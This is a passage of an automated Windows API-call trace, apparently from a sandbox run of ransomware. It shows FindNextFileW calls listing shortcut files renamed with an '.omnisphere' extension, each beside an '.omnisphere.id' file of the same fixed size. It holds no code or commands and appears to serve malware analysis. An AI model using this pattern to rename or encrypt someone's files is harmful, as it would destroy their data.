ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c850049, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="lPq-WpX7TI4.lnk.omnisphere.id", cAlternateFileName="LPQ-WP~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1728098a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20b1b670, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c87624a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa19, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="lU4BwtBlLZP.lnk.omnisphere", cAlternateFileName="LU4BWT~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c87624a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c87624a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c87624a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="lU4BwtBlLZP.lnk.omnisphere.id", cAlternateFileName="LU4BWT~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e020728, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e020728, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c8c282b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x873, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="LX62 bOC84McF_7.lnk.omnisphere", cAlternateFileName="LX62BO~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c8c282b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c8c282b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c8c282b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="LX62 bOC84McF_7.lnk.omnisphere.id", cAlternateFileName="LX62BO~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d5c89, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x216bacd7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c8e8a70, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8fd, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="mGFHps.lnk.omnisphere", cAlternateFileName="MGFHPS~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c8e8a70, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c8e8a70, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c8e8a70, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="mGFHps.lnk.omnisphere.id", cAlternateFileName="MGFHPS~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f73acd6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f73acd6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c934f7a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Mgt_K.lnk.omnisphere", cAlternateFileName="MGT_KL~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c934f7a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c934f7a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c934f7a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Mgt_K.lnk.omnisphere.id", cAlternateFileName="MGT_KL~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fdc3cf9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fdc3cf9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c95b10f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x783, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="MVw.lnk.omnisphere", cAlternateFileName="MVWLNK~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c95b10f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c95b10f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c95b10f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="MVw.lnk.omnisphere.id", cAlternateFileName="MVWLNK~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed17392, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ed17392, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c98136b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="mxWVXd6lx22lY9jTCI.ots.lnk.omnisphere", cAlternateFileName="MXWVXD~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c98136b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c98136b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c98136b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="mxWVXd6lx22lY9jTCI.ots.lnk.omnisphere.id", cAlternateFileName="MXWVXD~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20c72aff, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20c72aff, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c9a76e3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8d9, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="nfYii0C3y.lnk.omnisphere", cAlternateFileName="NFYII0~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9a76e3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c9a76e3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c9a76e3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="nfYii0C3y.lnk.omnisphere.id", cAlternateFileName="NFYII0~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa0a2ee, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fa0a2ee, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c9cd786, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8f7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="NvKrKIbFyZe_gOh.lnk.omnisphere", cAlternateFileName="NVKRKI~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9cd786, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c9cd786, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c9cd786, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="NvKrKIbFyZe_gOh.lnk.omnisphere.id", cAlternateFileName="NVKRKI~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0f6f81, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f0f6f81, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c9f39cc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x969, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="o oGOvrjloOl-.lnk.omnisphere", cAlternateFileName="OOGOVR~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9f39cc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c9f39cc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c9f39cc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="o oGOvrjloOl-.lnk.omnisphere.id", cAlternateFileName="OOGOVR~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x204b318c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x204b318c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ca3ff50, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x962, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ocb63v1.lnk.omnisphere", cAlternateFileName="OCB63V~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca19da1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ca19da1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ca3ff50, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ocb63v1.lnk.omnisphere.id", cAlternateFileName="OCB63V~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a02103, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21a02103, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ca66300, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="oTth.lnk.omnisphere", cAlternateFileName="OTTHLN~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca66300, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ca66300, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ca66300, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="oTth.lnk.omnisphere.id", cAlternateFileName="OTTHLN~1.ID")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1edd5fed, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1edd5fed, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cab26c6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x845, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="oxxU4lUO6NucKoKNkRfi.lnk.omnisphere", cAlternateFileName="OXXU4L~1.OMN")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cab26c6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cab26c6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cab26c6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="oxxU4lUO6NucKoKNkRfi.lnk.omnisphere.id", cAlternateFileName="OXXU4L~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a82e97, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20a82e97, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cad893c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9cf, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="O_3g.lnk.omnisphere", cAlternateFileName="O_3GLN~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cad893c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cad893c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cad893c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="O_3g.lnk.omnisphere.id", cAlternateFileName="O_3GLN~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225edca2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x225edca2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cb24cf0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8c8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="pGv_qZ.lnk.omnisphere", cAlternateFileName="PGV_QZ~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cafea66, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cafea66, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cb24cf0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="pGv_qZ.lnk.omnisphere.id", cAlternateFileName="PGV_QZ~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6ed33e, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x22ed0575, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cb4b0e7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x815, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Pictures.lnk.omnisphere", cAlternateFileName="PICTUR~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb4b0e7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cb4b0e7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cb4b0e7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Pictures.lnk.omnisphere.id", cAlternateFileName="PICTUR~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb662e0e, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0xeb662e0e, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0x2cb71394, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x927, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="puH1 V9zpzVTs8eyCQ.lnk.omnisphere", cAlternateFileName="PUH1V9~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb71394, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cb71394, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cb71394, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="puH1 V9zpzVTs8eyCQ.lnk.omnisphere.id", cAlternateFileName="PUH1V9~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9b8361, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1d9b8361, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cb9746c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8f2, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="PXK c4e_XP6QO.lnk.omnisphere", cAlternateFileName="PXKC4E~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb9746c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cb9746c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cb9746c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="PXK c4e_XP6QO.lnk.omnisphere.id", cAlternateFileName="PXKC4E~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206c9235, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x206c9235, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cbbd702, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa3e, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="q8ta-bWT2WxX6T.lnk.omnisphere", cAlternateFileName="Q8TA-B~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbbd702, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cbbd702, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cbbd702, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="q8ta-bWT2WxX6T.lnk.omnisphere.id", cAlternateFileName="Q8TA-B~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea8eb1d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ea8eb1d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cbe39d3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7de, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="qeZRA65gNPH7U5zlEZte.lnk.omnisphere", cAlternateFileName="QEZRA6~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbe39d3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cbe39d3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cbe39d3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="qeZRA65gNPH7U5zlEZte.lnk.omnisphere.id", cAlternateFileName="QEZRA6~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20bda129, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20bda129, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cc09b35, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8cd, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="qfMBt1v.lnk.omnisphere", cAlternateFileName="QFMBT1~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc09b35, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cc09b35, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cc09b35, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="qfMBt1v.lnk.omnisphere.id", cAlternateFileName="QFMBT1~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22b62fa5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22b62fa5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cc2fd57, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7a2, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="QqgN-Lz9.lnk.omnisphere", cAlternateFileName="QQGN-L~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc2fd57, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cc2fd57, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cc2fd57, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="QqgN-Lz9.lnk.omnisphere.id", cAlternateFileName="QQGN-L~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f3a5b7f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f3a5b7f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cc560d5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8e5, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="qtePg5pQ8.lnk.omnisphere", 